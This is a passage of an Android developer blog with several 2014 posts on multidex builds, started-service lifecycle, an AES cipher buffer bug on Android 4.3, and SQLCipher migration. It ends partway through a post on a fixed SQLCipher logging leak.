<a name='more'></a>There is a range of possible workarounds for this issue. The basic ones include stripping third-party libraries to a desired minimum, or using ProGuard even in the debug build. Sometimes I even found myself removing getters and setters just to make the build pass. Another, more complicated, but less error prone solution is to split the project into several projects (each of which produces a dex file with less than 65536 methods), build them separately (there's a catch with resources - each project should be built with all the resources), and then load the secondary dex file and <a href="http://android-developers.blogspot.com/2011/07/custom-class-loading-in-dalvik.html" target="_blank">invoke its API via reflection</a>.<br />
<br />
This issue was well known to the runtime team at Android - according to Anwar Ghuloum <i><b>"that's the most asked question we get in the Google I/O"</b></i>. Recently, while I've listened to one of the <a href="http://androidbackstage.blogspot.com/" target="_blank">Android Developers Backstage</a> podcasts which hosted Anwar, this question came up as well. And Anwar said that they built a mechanism to support multiple dex files in the framework itself starting from Android L. Great news!<br />
<br />
This was in <a href="http://androidbackstage.blogspot.com/2014/08/android-developers-backstage-episode-11.html" target="_blank">episode 11</a> (starting from 28:00 minute). Here's a short transcript of a relevant discussion:<br />
<blockquote class="tr_bq">
<span style="color: #ea9999;"><b><i>Tor: So [regarding] the infamous 64k method [issue].. I understand that it is a dex file format limitation.. which is a short integer. Do you have plans to address this somehow, by either change the dex format or some other way?</i></b> </span></blockquote>
<blockquote class="tr_bq">
<i><b>Anwar:</b> So we've talked about raving dex, so that limitation doesn't exist anymore. And there's a couple of reasons we haven't done that: one, there're other things we would like to do better as well, including supporting new language features. The other reason is - it doesn't help us with devices still in the field. It's hard to go and say "by the way, we're going to upgrade your runtime.."...</i> </blockquote>
<blockquote class="tr_bq">
<i>... So what do we do in order to address that? We will do the dex bytecode [change], but I think there's sort of building block that we needed first - what we're calling multi-dex. And the idea is.. here's something people were doing - they were breaking up their [dex] files into multiple dex files (each of which exceeds the 64k limit), the main classes in dex file could see the classes and use them in sort of references rather than loading those classes and having limitations in how you can use them. They will go and use reflection to find the boot class path and modify it to include their secondary dex files. So this is kind of hack, but a necessary one for them.</i> </blockquote>
<blockquote class="tr_bq">
<i>What we're doing in L is in runtime we will have a native support for multi-dex. All your dex files that you have in your app will get dexopt-ed or compiled by us and collapsed into a single .oat file which is a binary file we generate.. ..And we have a support library on top of that.. ..if you have multi-dex it will work on older releases of Android back to Ice Cream Sandwich.. will work on Gingerbread too, but we're only validating back to ICS. So once you have that, than that feesy in the future to do the dex bytecode change, and then something that partitions it and runs on the existing [devices]..</i></blockquote>
<i><span style="color: #ea9999;"><b>[Update - 10/31/2014] </b>Gradle plugin v0.14.0 for Android adds support for Multi-Dex. Everything that is written below is now done automatically. All you need to do is to add this line in your build.gradle file:</span></i><br />
<i><span style="color: #ea9999;">android {</span></i><br />
<i><span style="color: #ea9999;"> defaultConfig {</span></i><br />
<i><span style="color: #ea9999;"> ...</span></i><br />
<i><span style="color: #ea9999;"> <b>multiDexEnabled = true</b></span></i><br />
<i><span style="color: #ea9999;">}</span></i><br />
<i><span style="color: #ea9999;"><br /></span></i>
<i><span style="color: #ea9999;">For more information, see the <a href="http://developer.android.com/tools/building/multidex.html" target="_blank">official description</a>.</span></i><br />
<br />
Let's examine the solution. The puzzle consists of three pieces that we would like to understand:<br />
<ol>
<li>How to build a project, so in the end the output APK will contain several (multi) dex files?</li>
<li>How to consume multi-dex APK on devices with API >= Android L?</li>
<li>How to consume multi-dex APK on devices with API < Android L?</li>
</ol>
<br />
First piece of puzzle - how to produce APK with multiple dex files inside?<br />
Well, the answer is pretty straightforward. <a href="https://android.googlesource.com/platform/dalvik/+/c7daf65" target="_blank">This commit</a> introduced the <span style="color: #ea9999;">--multi-dex</span> option in <span style="color: #ea9999;">dx</span>, which allows to generate several dex files. The current (1.8) version includes the following options:<br />
<blockquote class="tr_bq">
<i><b>--multi-dex</b> allows to generate several dex files if needed. This option is exclusive with --incremental, causes --num-threads to be ignored and only supports folder or archive output.</i> </blockquote>
<blockquote class="tr_bq">
<i><b>--main-dex-list=</b><file> <file>is a list of class file names, classes defined by those class files are put in classes.dex.</file></file></i></blockquote>
<blockquote class="tr_bq">
<i><file><file></file></file><b>--minimal-main-dex</b> only classes selected by --main-dex-list are to be put in the main dex.</i></blockquote>
To enable multi-dex, you need to edit your application's <span style="color: #ea9999;">build.gradle</span> script.<br />
<br />
<script src="https://gist.github.com/alipov/a4c248e2fd08fdeb7431.js"></script><br />
I'm adding <span style="color: #ea9999;">--multi-dex</span> option to each task whose name starts with <span style="color: #ea9999;">dex</span> (dexDebug/dexRelease). This is the place where dx is being invoked. Additionally, I'm specifying <span style="color: #ea9999;">--main-dex-list</span> parameter to which I will refer a bit later.<br />
<br />
After unzipping the output APK file, you can clearly see that it contains two dex files:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>-rwx------+ 1 Administrators None 1760 Oct 4 20:32 AndroidManifest.xml<br />
drwx------+ 1 Administrators None 0 Oct 4 20:54 META-INF<br />
<b>-rwx------+ 1 Administrators None 8204912 Oct 4 20:32 classes.dex<br />
-rwx------+ 1 Administrators None 720048 Oct 4 20:32 classes2.dex</b><br />
drwx------+ 1 Administrators None 0 Oct 4 20:54 com<br />
-rwx------+ 1 Administrators None 146498 Oct 4 20:32 font_metrics.properties<br />
drwx------+ 1 Administrators None 0 Oct 4 20:54 org<br />
drwx------+ 1 Administrators None 0 Oct 4 20:54 res<br />
-rwx------+ 1 Administrators None 264448 Oct 4 20:05 resources.arsc</i></span></blockquote>
<br />
So the <span style="color: #ea9999;">dx</span> already supports creating multiple dex files. What about consuming them?<br />
<br />
As Anwar said in podcast, Android L will natively support multiple dex files. That's it.<br />
What about devices with API lower than Android L? The support library code (supports API 4+) that Anwar talks about was already <a href="https://android.googlesource.com/platform/frameworks/multidex/+/667f9a8a8155c41970a83be1414b57b5e37de336" target="_blank">pushed</a> about a year ago. However, it was not shipped in the latest support library (revision 20), but it is anticipated to be included in next version which will be released side by side with Android L.<br />
<br />
<strike>What should we do until then?</strike><br />
<strike>Just grab support library's <a href="https://android.googlesource.com/platform/frameworks/multidex/+/master/library/src/android/support/multidex" target="_blank">multidex files</a>, create the <span style="color: #ea9999;">android.support.multidex</span> package in your application, and paste the files there. Otherwise you can use <a href="https://github.com/casidiablo/multidex" target="_blank">this github repository</a>, which wrapped the multidex files as a gradle library that you can add as a dependency.</strike><br />
<i><span style="color: #ea9999;"><b>[Update - 10/17/2014]</b> As anticipated, revision 21 of support library ships with</span> <a href="http://developer.android.com/reference/android/support/multidex/package-summary.html" target="_blank">multidex support</a>. <span style="color: #ea9999;">You can find the android-support-multidex.jar in /sdk/extras/android/support/multidex/library/libs folder.</span></i><br />
<br />
Last step requires to call the multidex library code. If you're subclassing the Application class, then you'll have to either derive from <a href="http://developer.android.com/reference/android/support/multidex/MultiDexApplication.html" target="_blank">MultiDexApplication</a> (instead of Application)<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>public class MyApplication extends MultiDexApplication { .. }</i></span></blockquote>
or override <a href="http://developer.android.com/reference/android/content/ContextWrapper.html#attachBaseContext(android.content.Context)" target="_blank">attachBaseContext</a> method and call <span style="color: #ea9999;">MultiDex.install()</span>.<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i>protected void attachBaseContext(Context base) {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>super.attachBaseContext(base);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>MultiDex.install(this);<br />
}</i></span></blockquote>
Otherwise (if your application does not have custom Application implementation), declare MultiDexApplication as application implementation in your AndroidManifest.xml.<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;"><i><application</i></span><br />
<span style="font-size: x-small;"><i> android:name="android.support.multidex.MultiDexApplication"</i></span><br />
<span style="font-size: x-small;"><i> .. ></i></span><br />
<span style="font-size: x-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>..</i></span><br />
<span style="font-size: x-small;"><i></application></i></span></blockquote>
The support library's multidex code patches the <span style="color: #ea9999;">ClassLoader</span>'s <span style="color: #ea9999;">path/pathList</span> field to point on two (or more) dex files, instead of default classes.dex. This also means that when the application is starting, the support library's multidex code should be already present in the main dex file (instead of within one of the secondary dex files). This is the purpose of <span style="color: #ea9999;">--main-dex-list</span> parameter, which specifies a file that contains class names I want to be put in the main dex file:<br />
<br />
<script src="https://gist.github.com/alipov/419cccc8481beb0d3f0b.js"></script><br />
Note that if you have a custom Application class, it must be present in the main dex as well (just add it to your main-dex-list file).<br />
<i><span style="color: #ea9999;"><b>[Update - 10/24/2014]</b> The main-dex-list file can be generated. See</span> <a href="http://blog.osom.info/2014/10/generating-main-dex-list-file.html" target="_blank">my post</a> <span style="color: #ea9999;">for more details.</span></i><br />
<br />
Some additional observations (discussed in <a href="https://github.com/casidiablo/multidex" target="_blank">this github page</a> as well):<br />
<ul>
<li><span style="color: #ea9999;">com.android.dex.DexException</span> thrown during dexDebug task with "Library dex files are not supported in multi-dex mode" error. Dependencies pre-dexing is used to speed up the incremental builds. This option is enabled by default, and disabling it will cause no harm. So I disabled it (see <span style="color: #ea9999;">build.gradle</span> above).</li>
<li><strike>My <span style="color: #ea9999;">Application</span>-derived class made many initializations in <span style="color: #ea9999;">onCreate</span> callback method. The ClassLoader patch takes place in <span style="color: #ea9999;">Application#attachBaseContext</span> callback method, which is being called before <span style="color: #ea9999;">Application#onCreate</span>. This means that all the classes from secondary dex files should be known to ClassLoader at this point. However, for some reason, accessing a class, that is packaged in a secondary dex file, during <span style="color: #ea9999;">Application#onCreate</span> throws a <span style="color: #ea9999;">ClassNotFoundException</span>. The workaround for me was to move all the onCreate logic into a separate method in a separate class, and then call it from <span style="color: #ea9999;">Application#onCreate</span>.</strike> <i><span style="color: #ea9999;"><b>[Update - 10/24/2014]</b> This is not relevant anymore, since you can</span> <a href="http://blog.osom.info/2014/10/generating-main-dex-list-file.html" target="_blank">generate the main-dex-list file</a><span style="color: #ea9999;">.</span></i></li>
</ul>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com36tag:blogger.com,1999:blog-2077468458710225908.post-71442593335174802572014-09-19T21:50:00.001+03:002014-09-19T21:50:54.673+03:00Managing started service's lifecycle efficientlySo you decided to run your time-consuming operation in service component because you want to ensure that it will continue to run even if the user interface is no longer visible. You chose to extend <a href="http://developer.android.com/reference/android/app/Service.html" target="_blank">Service</a>, rather than <a href="http://developer.android.com/reference/android/app/IntentService.html" target="_blank">IntentService</a> because you want your service to handle multiple requests in parallel. In this post I will share a few tips for implementing your service slightly more efficiently.<br />
<br />
<a name='more'></a>Android documentation explains that started service must manage its own lifecycle. It also guides us to use framework resources efficiently, and to free once we no longer need them:<br />
<blockquote class="tr_bq">
<i>A service is "started" when an application component (such as an activity) starts it by calling <a href="http://developer.android.com/reference/android/content/Context.html#startService(android.content.Intent)" target="_blank">startService()</a>. Once started, a service can run in the background indefinitely, even if the component that started it is destroyed. Usually, a started service performs a single operation and does not return a result to the caller. For example, it might download or upload a file over the network. When the operation is done, the service should stop itself.</i></blockquote>
But the given example is not always so simple. The user can request to download several files simultaneously, or even request to cancel the download before it completes. The service, that we initially destined to be stateless, now have to be aware of all the tasks it is currently executing.<br />
<br />
Let's imagine how you would implement that. To handle each user request, you will call the <i><span style="color: #ea9999;">startService()</span></i> method. If the service is not yet started, the service management system will create a brand new service component, and then will call its <i><span style="color: #ea9999;">onStartCommand()</span> </i>method, passing the requested intent. <i><span style="color: #ea9999;">onStartCommand()</span></i> runs on the main thread, so any non-trivial operation should be executed in a dedicated worker thread.<br />
<br />
We want our service to be a good citizen in Android environment, and this means (among other things) that the service should be stopped as soon as it completed all its operations. Android provides service a function (called <a href="http://developer.android.com/reference/android/app/Service.html#stopSelfResult(int)" target="_blank">stopSelfResult</a>) that allows it to stop itself. This method's documentation tells us the following:<br />
<blockquote class="tr_bq">
<i>Stop the service if the most recent time it was started was startId. This is the same as calling <a href="http://developer.android.com/reference/android/content/Context.html#stopService(android.content.Intent)" target="_blank">stopService(Intent)</a> for this particular service but allows you to safely avoid stopping if there is a start request from a client that you haven't yet seen in <a href="http://developer.android.com/reference/android/app/Service.html#onStart(android.content.Intent, int)" target="_blank">onStart(Intent, int)</a>.<br />
Be careful about ordering of your calls to this function.. If you call this function with the most-recently received ID before you have called it for previously received IDs, the service will be immediately stopped anyway. If you may end up processing IDs out of order (such as by dispatching them on separate threads), then you are responsible for stopping them in the same order you received them.</i></blockquote>
Here comes the tricky part - you should be cautious when calling <i><span style="color: #ea9999;">stopSelfResult()</span></i>. If you're calling it in the end of asynchronous service operation, sooner or later you'll end up with calling <i><span style="color: #ea9999;">stopSelfResult()</span></i> with operationB <i><span style="color: #ea9999;">startId</span></i> before operationA completes (assuming operationA started before operationB).<br />
<br />
Yet another thing is to avoid starting and closing the service frequently. We can rationally assume that if user requested an operation to be performed by the service, then there's a high probability that he will request additional operation shortly afterwards.<br />
<br />
In summary, our requirements are:<br />
<ol>
<li>Service will stop itself to free up the resources.</li>
<li>Service will stop itself only if no other operations (even asynchronous) are still running.</li>
<li>Avoid starting/closing the service frequently.</li>
</ol>
With those requirements in mind I implemented an abstract started service that I'm using as a base class for my concrete service classes.<br />
<br />
<script src="https://gist.github.com/alipov/1f58ee67b32ccc546afe.js"></script><br />
When I implement new started service, I just extend this <i><span style="color: #ea9999;">BaseService</span></i> class, add a call to <i><span style="color: #ea9999;">super.onCreate()</span></i> in concrete service's <i><span style="color: #ea9999;">onCreate()</span></i> method; and call base class's <i><span style="color: #ea9999;">decreaseReference()</span></i> function each time asynchronous operation completes.<br />
<br />
<i><span style="color: #ea9999;">BaseService</span> </i>is doing several things. It keeps track of last <i><span style="color: #ea9999;">startId</span></i>, and uses reference counting to determine if all service operations completed and it is safe to call <i><span style="color: #ea9999;">stopSelfResult()</span></i> with last known <i><span style="color: #ea9999;">startId</span></i>. Additionally, it postpones service termination for a 20 seconds, which gives an opportunity for other service requests to execute without the overhead of creating the service first.Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com0tag:blogger.com,1999:blog-2077468458710225908.post-58724102793419980702014-07-19T19:03:00.000+03:002018-08-10T12:45:39.956+03:00Symmetric encryption issue in Android 4.3About a year ago, a bit after 4.3 release, I had to fix an error in one of my applications. I patched it then, but wished to return and understand better the underlying reason. The other day I came back to this code and dug a little deeper. This post is about what I found.<br />
<br />
In one of my applications I use symmetric-key algorithm for encryption and decryption of data. Nothing fancy here, just a standard Java APIs everyone uses for such things.<br />
<br />
<a name='more'></a>Consider this sample code:<br />
<br />
<script src="https://gist.github.com/alipov/dc48fd1dd65fe8ed7669.js"></script><br />
<br />
As I mentioned, it is a regular code that you're probably using with some adjustments in your application.<br />
Until Jelly Beans 4.3, it worked as is without any issues. With the introduce of version 4.3, the above code failed to work reliably.<br />
The cause for this is the <i><span style="color: #ea9999;">ShortBufferException</span><b> </b></i>that was thrown on <i><span style="color: #ea9999;">Cipher.update(..)</span></i> function call (line 54):<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">javax.crypto.ShortBufferException: output buffer too small during update: 4096 < 4112<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at org.apache.harmony.xnet.provider.jsse.OpenSSLCipher.updateInternal(OpenSSLCipher.java:317)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at org.apache.harmony.xnet.provider.jsse.OpenSSLCipher.engineUpdate(OpenSSLCipher.java:362)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at javax.crypto.Cipher.update(Cipher.java:989)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at javax.crypto.Cipher.update(Cipher.java:938)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at info.osom.sandbox.Crypto.execute(Crypto.java:54)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at info.osom.sandbox.Crypto.encrypt(Crypto.java:25)</span></blockquote>
<br />
Too small output buffer? The buffer was large enough for previous Android versions, so why it suddenly too short? Let's try to understand what happened here.<br />
<br />
First of all, using the below code I will print the installed security providers:<br />
<br />
<script src="https://gist.github.com/alipov/252bd8e8aa258a0e384b.js"></script><br />
The output lists same security providers on both 4.2.2 and 4.3 versions (in order):<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">org.apache.harmony.xnet.provider.jsse.OpenSSLProvider<br />
org.apache.harmony.security.provider.cert.DRLCertFactory<br />
com.android.org.bouncycastle.jce.provider.BouncyCastleProvider<br />
org.apache.harmony.security.provider.crypto.CryptoProvider<br />
org.apache.harmony.xnet.provider.jsse.JSSEProvider</span></blockquote>
But the actual provider that is being used for cipher instance is different between the two versions. On 4.2.2 version the <i><span style="color: #ea9999;">BouncyCastle</span><b> </b></i>provider is being used, while on 4.3 the <i><span style="color: #ea9999;">OpenSSLProvider</span></i> takes its place. It's a time to understand how the security provider gets selected. From <i><span style="color: #ea9999;">Cipher.getInstance()</span></i> documentation:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">Creates a new Cipher for the specified transformation. The installed providers are searched in order for an implementation of the specified transformation. The first found provider providing the transformation is used to create the cipher. If no provider is found an exception is thrown.</span></blockquote>
In my code I'm requesting for <i><span style="color: #ea9999;">AES/CBC/PKCS5Padding</span></i> transformation. The function asks each security provider in order whether it has implementation for such transformation. On 4.2.2, the first provider that contains the above transformation is <i><span style="color: #ea9999;">BouncyCastleProvider</span> </i>(which is a third provider), while on 4.3 the first provider (<i><span style="color: #ea9999;">OpenSSLProvider</span></i>) told it has the implementation.<br />
<br />
As you probably already concluded, on 4.3 the <i><span style="color: #ea9999;">OpenSSLProvider</span> </i>was upgraded with new implementations, and one of the additions was the <i><span style="color: #ea9999;">AES/CBC/PKCS5Padding</span></i><i style="font-weight: bold;"> </i>implementation. And indeed, <a href="https://android.googlesource.com/platform/external/conscrypt/+/1ddc76d634923479be2b520b2bf20f71ff4f1f44%5E%21/" target="_blank">this commit</a> (dated September 24, 2012) introduced "Cipher support for AES through OpenSSL". The author, Kenny Root, added some timings in comment that show a distinct advantage to favor OpenSSL implementation over BouncyCastle (at least for AES/CTR/PKCS5Padding):<br />
<pre style="font-family: 'courier new', courier, monospace; font-size: 9pt; line-height: 1.54; padding: 5px 2em;">Timings using encrypt with 256-bit key in CTR mode and PKCS5Padding:
implementation inputSize us linear runtime
OpenSSL 16 11.4 =
OpenSSL 32 12.1 =
OpenSSL 64 13.2 =
OpenSSL 128 15.1 =
OpenSSL 1024 44.0 =
OpenSSL 8192 275.0 ===
BouncyCastle 16 11.5 =
BouncyCastle 32 15.9 =
BouncyCastle 64 24.6 =
BouncyCastle 128 41.5 =
BouncyCastle 1024 277.2 ===
BouncyCastle 8192 2196.9 ==============================</pre>
The intent of this change is very much welcomed - after all, this makes our applications run faster. But the impact was harmful, at least for my application. Ok, so after understanding the change that caused the error, let's see why OpenSSL's implementation requires a larger buffer.<br />
<br />
The <i><span style="color: #ea9999;">Cipher.update(..)</span></i> function call eventually calls <a href="https://android.googlesource.com/platform/external/conscrypt/+/master/src/main/java/org/conscrypt/OpenSSLCipher.java" target="_blank">OpenSSLCipher</a>'s <i><span style="color: #ea9999;">engineUpdate(..)</span></i> method. This is how it looks like:<br />
<br />
<script src="https://gist.github.com/alipov/cd8d8b37f9726379d280.js"></script><br />
Note that first of all <i><span style="color: #ea9999;">getOutputSize(..)</span></i> function is being called, which calculates the output buffer size given the buffer input size. These sizes will never be equal, which means that this implementation ALWAYS requires a larger output buffer. If the input buffer's size is an exact multiple of the block size, then additional block will be required. This is why the exception said that the implementation requires 4112 bytes length output buffer for 4096 bytes input buffer. The difference is 16 bytes, which is the block size. This is actually what the comment of getOutputSize function says:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">The size of output if {@code doFinal()} is called with this {@code inputLen}. If padding is enabled and the size of the input puts it right at the block size, it will add another block for the padding.</span></blockquote>
The additional 16 bytes is a reasonable requirement... for <i><span style="color: #ea9999;">Cipher.doFinal(..)</span></i> function call (as comment suggests). But not for <i><span style="color: #ea9999;">Cipher.update(..)</span></i>, since on update we don't have to add any padding. And indeed, even though the <i><span style="color: #ea9999;">Cipher.getOutputSize(..)</span></i> returns 4112 as a size, the <i><span style="color: #ea9999;">Cipher.update(..)</span></i> writes only 4096 bytes - which means that <i><span style="color: #ea9999;">Cipher.getOutputSize(..)</span></i> returns false results. I find this implementation very awkward, but hopefully it was done for a reason.<br />
<br />
So how to overcome that?<br />
You can of course keep using BouncyCastle implementation. For this, pass a <b><i>"BC"</i></b> string as a second argument for a Cipher.getInstance() function. But recall the timings - OpenSSL is much faster than BouncyCastle.<br />
<br />
So what need to adjust in order to use the OpenSSL implementation?<br />
You can decrease the input buffer by the block size or increase the output buffer by the same size. For example, if the block size is 16 bytes and the output buffer is 4096 bytes, then use input buffer with the length of 4080. This is how TextSecure <a href="https://github.com/WhisperSystems/TextSecure/commit/8281ef18d42ec309a2f8fa08a03510af2b172eb6" target="_blank">fixed</a> the very <a href="https://github.com/WhisperSystems/TextSecure/issues/280" target="_blank">same issue</a>.Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com2tag:blogger.com,1999:blog-2077468458710225908.post-72443926101551106102014-03-29T17:38:00.001+03:002014-03-29T17:46:11.311+03:00Migrating to SQLCipher for Android 3.xIn my <a href="http://blog.osom.info/2014/03/why-you-should-upgrade-sqlcipher-to.html" target="_blank">last post</a> I wrote why you have seriously consider upgrading to SQLCipher for Android 3.0.2. Version 3.x introduced new default configuration that is not out-of-the-box compatible with databases created with previous versions (1.x/2.x). Particularly, the default <a href="http://en.wikipedia.org/wiki/Key_derivation_function" target="_blank">key derivation function</a>'s (KDF) iteration count increased from 4000 to 64000 (yes, x16), and therefore some kind of migration of the current database required.<br />
<br />
You won't be able to open the existing database file if you'll try to upgrade the SQLCipher libraries without migrating it (the database file) first. The following error will be thrown in attempt to open existing database:<br />
<blockquote class="tr_bq">
<span style="font-size: x-small;">03-29 16:14:04.199 18107-18107/info.osom.sqlciphertest I/Database? sqlite returned: error code = 26, msg = file is encrypted or is not a database</span><br />
<span style="font-size: x-small;">03-29 16:14:04.199 18107-18107/info.osom.sqlciphertest E/Database? CREATE TABLE android_metadata failed</span><br />
<span style="font-size: x-small;">03-29 16:14:04.199 18107-18107/info.osom.sqlciphertest E/Database? Failed to setLocale() when constructing, closing the database</span><br />
<span style="font-size: x-small;"> net.sqlcipher.database.SQLiteException: file is encrypted or is not a database</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteDatabase.native_setLocale(Native Method)</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteDatabase.setLocale(SQLiteDatabase.java:2092)</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteDatabase.<init>(SQLiteDatabase.java:1958)</init></span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteDatabase.openDatabase(SQLiteDatabase.java:875)</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteDatabase.openOrCreateDatabase(SQLiteDatabase.java:907)</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteOpenHelper.getWritableDatabase(SQLiteOpenHelper.java:132)</span><br />
<span style="font-size: x-small;"> at net.sqlcipher.database.SQLiteOpenHelper.getWritableDatabase(SQLiteOpenHelper.java:99)</span><br />
<span style="font-size: x-small;"> at info.osom.sqlciphertest.MainActivity$PlaceholderFragment$1.onClick(MainActivity.java:69)</span><br />
<span style="font-size: x-small;"> at android.view.View.performClick(View.java:4202)</span><br />
<span style="font-size: x-small;"> at android.view.View$PerformClick.run(View.java:17340)</span><br />
<span style="font-size: x-small;"> at android.os.Handler.handleCallback(Handler.java:725)</span><br />
<span style="font-size: x-small;"> at android.os.Handler.dispatchMessage(Handler.java:92)</span><br />
<span style="font-size: x-small;"> at android.os.Looper.loop(Looper.java:137)</span><br />
<span style="font-size: x-small;"> at android.app.ActivityThread.main(ActivityThread.java:5039)</span><br />
<span style="font-size: x-small;"> at java.lang.reflect.Method.invokeNative(Native Method)</span><br />
<span style="font-size: x-small;"> at java.lang.reflect.Method.invoke(Method.java:511)</span><br />
<span style="font-size: x-small;"> at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)</span><br />
<span style="font-size: x-small;"> at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)</span><br />
<span style="font-size: x-small;"> at dalvik.system.NativeStart.main(Native Method)</span></blockquote>
<a name='more'></a>You have two options to solve that. The first one is to reset iteration count back to 4000 using <a href="http://sqlcipher.net/sqlcipher-api/#kdf_iter" target="_blank">appropriate PRAGMA setting</a>. The second option is to migrate the database in place using <a href="http://sqlcipher.net/sqlcipher-api/#cipher_migrate" target="_blank">PRAGMA cipher_migrate setting</a>. I will demonstrate below how to implement the cipher_migrate in your code.<br />
<br />
Generally speaking, all you have to do is implement the <a href="https://github.com/sqlcipher/android-database-sqlcipher/blob/master/src/net/sqlcipher/database/SQLiteDatabaseHook.java" target="_blank">SQLiteDatabaseHook</a> interface that executes the cipher_migrate PRAGMA command on the existing database. It should be executing only once, and therefore you have to maintain a flag that tells you whether you already migrated or not. Initially, passing the instance of the class was not so convenient, and <a href="https://groups.google.com/d/msg/sqlcipher/0kIJoM11QoE/3JXkemB_sZkJ" target="_blank">Mark Murphy proposed</a> <a href="https://gist.github.com/commonsguy/7058172" target="_blank">alternative for SQLiteOpenHelper class</a>. Eventually, SQLCipher guys added another constructor that receives implementation of SQLiteDatabaseHook as a parameter.<br />
<br />
In my solution, I slightly modificated Mark's implementation of SQLiteDatabaseHook:<br />
<br />
<script src="https://gist.github.com/alipov/c5ea861e572f29cbc8c7.js"></script><br />
<br />
Passing the SQLCipherV3Helper instance as a fifth argument to the SQLiteOpenHelper constructor:<br />
<br />
<script src="https://gist.github.com/alipov/d187ff84c9022a61939e.js"></script><br />
Additional relevant links:<br />
<a href="http://sqlcipher.net/blog/2013/11/11/sqlcipher-300-release.html" target="_blank">SQLCipher 3.0.0 release statement</a>Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com2tag:blogger.com,1999:blog-2077468458710225908.post-39003381270522452092014-03-22T22:50:00.001+02:002016-03-26T19:49:49.127+03:00Why you should upgrade SQLCipher to latest (3.0.2) versionIf you're using SQLCipher (for Android) version <= 3.0.1, then your application may potentially leak sensitive data into the log system. That's because in case of error in its underlying native library, the (SQLCipher) Android wrapper library was printing the original query values into the log system.<br />
This issue <a href="https://github.com/sqlcipher/android-database-sqlcipher/commit/701fc6e02f97fe7b98860c330330689063468136" target="_blank">was fixed</a> on February 1st, 2014 and <a href="https://groups.google.com/forum/#!topic/sqlcipher/_RFL9KrWvnc" target="_blank">integrated</a> in version 3.0.2.<br />
<br />
I'm including here a short demo that demonstrates the problem.<br />
<br />
I've created a new basic project using Android Studio. Then downloaded <a href="https://s3.amazonaws.com/sqlcipher/SQLCipher+for+Android+2.2.1.zip" target="_blank">SQLCipher for Android version 2.2.1</a>, unzipped and added all the content to the project. This is the structure:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo58eDm8QpMcM6XctVNcOoxEtUJ_J8u-dWUSKq8gg1cWFye6aM8CDE4tG1Hc5DDOvitTE4R_mT-aqHqKpwdoS5MSSqgRDRMQF3RpTy4Ks0ucPOarEtCS6-sAPHI5awnjWfoU6VNluA-pI/s1600/project.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo58eDm8QpMcM6XctVNcOoxEtUJ_J8u-dWUSKq8gg1cWFye6aM8CDE4tG1Hc5DDOvitTE4R_mT-aqHqKpwdoS5MSSqgRDRMQF3RpTy4Ks0ucPOarEtCS6-sAPHI5awnjWfoU6VNluA-pI/s1600/project.png" width="230" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<a name='more'></a><br />
MyApplication class holds SQLCipher initialization. Nothing interesting here.<br />
<br />
<script src="https://gist.github.com/alipov/86a1c8fbeafa4b57d326.js"></script><br />
On database creation, I'm creating a single table called <i><span style="color: #ea9999;">users </span></i>with <i><span style="color: #ea9999;">id</span></i>, <i><span style="color: #ea9999;">name </span></i>and <i><span style="color: #ea9999;">email </span></i>columns. The most important thing here is the unique constraint that I'm setting for name and email columns.<br />
<br />
<script src="https://gist.github.com/alipov/2475d41d029f2e4ebf17.js"></script><br />
For UI, I added a button that once clicked, opens a database and inserts a record with hardcoded values. Intentionally. On first click, the record will be added successfully. But on second click it is going to fail (because of unique constraint).<br />
<br />
<script src="https://gist.github.com/alipov/ffae655730aab61180ee.js"></script><br />
<br />
To this point everything works as expected, but you might be surprised with what was written to the log system:<br />
<blockquote>
<span style="font-size: x-small;">03-22 19:25:56.615 11427-11427/info.osom.sqlciphertest E/Database? Error inserting <span style="color: red;"><b>email=</b></span><b><span style="color: red;">my@email.com name=Alex</span></b></span><br />
<span style="font-size: x-small;">net.sqlcipher.database.SQLiteConstraintException: error code 19: columns name, email are not unique</span><br />
<span style="font-size: x-small;">at net.sqlcipher.database.SQLiteStatement.native_execute(Native Method)</span><br />
<span style="font-size: x-small;">at net.sqlcipher.database.SQLiteStatement.execute(SQLiteStatement.java:58)</span><br />
<span style="font-size: x-small;">at net.sqlcipher.database.SQLiteDatabase.insertWithOnConflict(SQLiteDatabase.java:1657)</span><br />
<span style="font-size: x-small;">at net.sqlcipher.database.SQLiteDatabase.insert(SQLiteDatabase.java:1517)</span><br />
<span style="font-size: x-small;">at info.osom.sqlciphertest.MainActivity$PlaceholderFragment$1.onClick(MainActivity.java:78)</span><br />
